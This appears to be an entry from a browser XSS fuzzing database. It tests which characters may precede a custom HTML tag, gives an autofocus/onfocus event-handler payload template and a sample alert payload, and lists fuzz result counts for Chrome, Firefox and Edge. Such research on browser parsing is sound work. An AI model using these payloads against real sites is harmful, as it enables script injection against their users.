Characters before custom tag
Vector to test what characters are allowed in a custom HTML tag
Created by: s3np41k1r1t0
Created on: Monday, June 23, 2025 at 10:07:14 AM
Updated on: Monday, June 23, 2025 at 10:07:14 AM
Detecting browser...
Category: HTML Parsing
Vector visibility: Public
Vector type: XSS
Vector charset: UTF-8
Template used:
<$[chr]xss autofocus tabindex=1 onfocus=log($[i])></xss>Sample payloads
<0x00xss autofocus tabindex=1 onfocus=alert(0)></xss>Fuzz results
Chrome 144.0.0.0 desktop macOS 10.15.7
Updated
Sun Jan 25 2026
Found 1 result
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Firefox 147.0 desktop macOS 10.15
Updated
Sun Jan 25 2026
Found 1 result
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Microsoft Edge 144.0.0.0 desktop Windows NT 10.0
Updated
Mon Jan 26 2026
Found 1 result
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